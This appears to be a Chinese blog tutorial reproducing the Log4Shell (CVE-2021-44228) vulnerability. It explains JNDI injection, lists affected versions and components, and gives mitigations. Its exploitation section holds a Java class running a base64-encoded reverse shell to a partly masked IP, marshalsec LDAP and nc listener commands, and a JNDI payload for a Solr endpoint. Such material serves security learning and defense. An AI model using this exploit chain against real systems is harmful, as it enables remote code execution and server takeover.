Log4j2漏洞CVE-2021-44228复现笔记

一、Log4j2存在过哪些漏洞?

Apache Log4j2 近年来披露了多个值得关注的安全漏洞,其中最为著名的当属 2021 年底引发的“Log4Shell”事件。

漏洞编号严重等级 (CVSS)影响版本范围漏洞类型修复版本
CVE-2021-44228严重 (10.0)2.0-beta9 - 2.14.1远程代码执行2.15.0 (初始), 2.16.0+ (完整)
CVE-2021-45046严重 (9.0)2.0-beta9 - 2.15.0信息泄漏 & 远程代码执行2.16.0
CVE-2021-45105高危 (7.5)2.0-alpha1 - 2.16.0拒绝服务2.17.0, 2.12.3
CVE-2021-44832中危2.4.1 - 2.17.0远程代码执行2.17.1
CVE-2017-5645中危2.8.1 及更早版本反序列化漏洞升级至新版本
CVE-2020-9488低危2.0 至 2.13.2证书验证不当2.13.3

二、CVE-2021-44228漏洞概述

漏洞名称:Log4j2 JNDI 注入漏洞(俗称 Log4Shell
漏洞类型:远程代码执行
CVSS 评分10.0(最高危级)
核心问题:Log4j2 在记录日志时,未对输入内容进行有效过滤,导致攻击者可以通过构造特殊的 JNDI 查找表达式,诱使服务器执行远程恶意代码。
影响范围:Apache Log4j2 2.0-beta9 至 2.14.1 版本。

漏洞原理:
漏洞触发依赖于 Log4j2 的两大功能:
Lookup 功能:允许在日志消息中通过 ${prefix:key} 格式动态解析变量。
JNDI (Java命名和目录接口):允许从远程服务器加载对象。

漏洞触发条件:
应用程序使用受影响版本的Log4j2记录日志
攻击者控制的输入被记录到日志中
应用程序运行在允许加载远程代码的Java环境中

JNDI注入机制:
LDAP/RMI服务器可以返回一个Reference对象
该对象指向攻击者控制的HTTP服务器上的恶意class文件
Java运行时自动加载并实例化该class


三、攻击流程分解

  1. 输入注入:攻击者向目标应用发送包含恶意 JNDI 表达式的数据(如:${jndi:ldap://攻击者IP/恶意类}),该数据被应用程序记录到日志。
  2. 表达式解析:Log4j2 处理该日志时,识别到 ${} 表达式,并调用 JndiLookup 组件进行解析。
  3. 远程资源获取:应用程序向攻击者控制的恶意 LDAP/RMI 服务器发起请求。
  4. 代码执行:恶意服务器返回一个指向远程恶意 Java Class 文件的地址,应用程序加载并执行该文件中的代码,导致远程代码执行。

整个攻击流程可简要概括为下图:

攻击者注入恶意Payload
应用程序记录日志
Log4j2解析日志
识别$表达式
调用JndiLookup组件
向恶意LDAP/RMI服务器
发起JNDI请求
恶意服务器响应
重定向到恶意Class文件
应用程序加载并执行
恶意Class
远程代码执行 RCE

四、漏洞利用

4.1 利用工具

marshalsec:用于快速搭建恶意的RMI/LDAP服务器,将请求重定向到托管恶意类的HTTP服务器。

4.2 paylaod讲解

import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguKi4qLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

核心payload是一个Base64编码的命令:

YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguKi4qLzY2NjYgMD4mMQ==

解码后的内容是:

bash -i >& /dev/tcp/8.8.*.*/6666 0>&1

这是一个标准的反向shell命令

java.lang.Runtime
核心作用:允许Java应用程序与运行时环境交互,特别是执行操作系统命令。
在漏洞利用中的具体用途:
通过Runtime.getRuntime().exec()方法执行任意系统命令
在Log4Shell攻击中,用于触发反向shell连接
可以执行任何系统命令:下载文件、修改权限、横向移动等

4.3 利用步骤(以反弹Shell为例):

4.3.1 编写exp恶意代码:

将上面的payload保存为Exploit.java
然后执行

javac Exploit.java

去编译paylaod,然后执行去托管编译后的class文件(默认8000)

python3 -m http.server 8000
4.3.2 在攻击者服务器上使用工具启动LDAP服务。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://8.8.*.*:8000/#Exploit" 9999
4.3.3 在攻击者服务器上使用nc监听指定端口。
nc -lnvp 6666
4.3.4 向目标发送构造好的 Payload

例如:

/solr/admin/cores?action=${jndi:ldap://你的IP:9999/Exploit}

目标服务器中招后,会向你的监听端口反弹一个 Shell。


五、受影响版本与组件

5.1 核心影响范围

直接受影响的Log4j2版本:2.0-beta9 至 2.14.1

5.2 主要受影响组件

组件类型典型代表风险程度
Apache项目Struts2, Solr, Druid, Flink高危
Spring生态Spring Boot(使用log4j2-starter)高危
微服务框架Dubbo, Spring Cloud相关组件中高危
其他Java应用任何使用受影响Log4j2版本的应用视暴露程度而定

5.3 关键影响说明

  1. 直接依赖风险:项目pom.xml/gradle中直接引用log4j-core且版本在受影响范围内
  2. 传递依赖风险:通过其他依赖间接引入易受攻击的log4j版本
  3. 嵌入式风险:框架内置Log4j2且未及时更新版本

六、修复与缓解建议

根本措施:立即升级 Log4j2 到安全版本(2.17.0 或更高版本)。

临时缓解方案(如果无法立即升级):
1. 修改 JVM 参数:启动时添加 -Dlog4j2.formatMsgNoLookups=true
2. 移除漏洞类:从 log4j-core 的 JAR 包中删除 JndiLookup 类:
bash zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
3. 使用高版本JDK:使用 JDK 11.0.1、8u191、7u201、6u211 或更高版本,这些版本默认禁用了 JNDI 的远程代码加载(但并非绝对安全)。
4. 网络防护:配置防火墙策略或 WAF,限制应用程序服务器不必要的出网访问。


七、总结

Log4j2 漏洞(Log4Shell)因其利用简单、影响范围极广而成为网络安全领域的里程碑式事件。核心在于 Log4j2 允许未经检查的用户输入触发 JNDI 远程查找并加载恶意代码。修复的关键是升级日志组件版本并采取严格的纵深防御措施。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值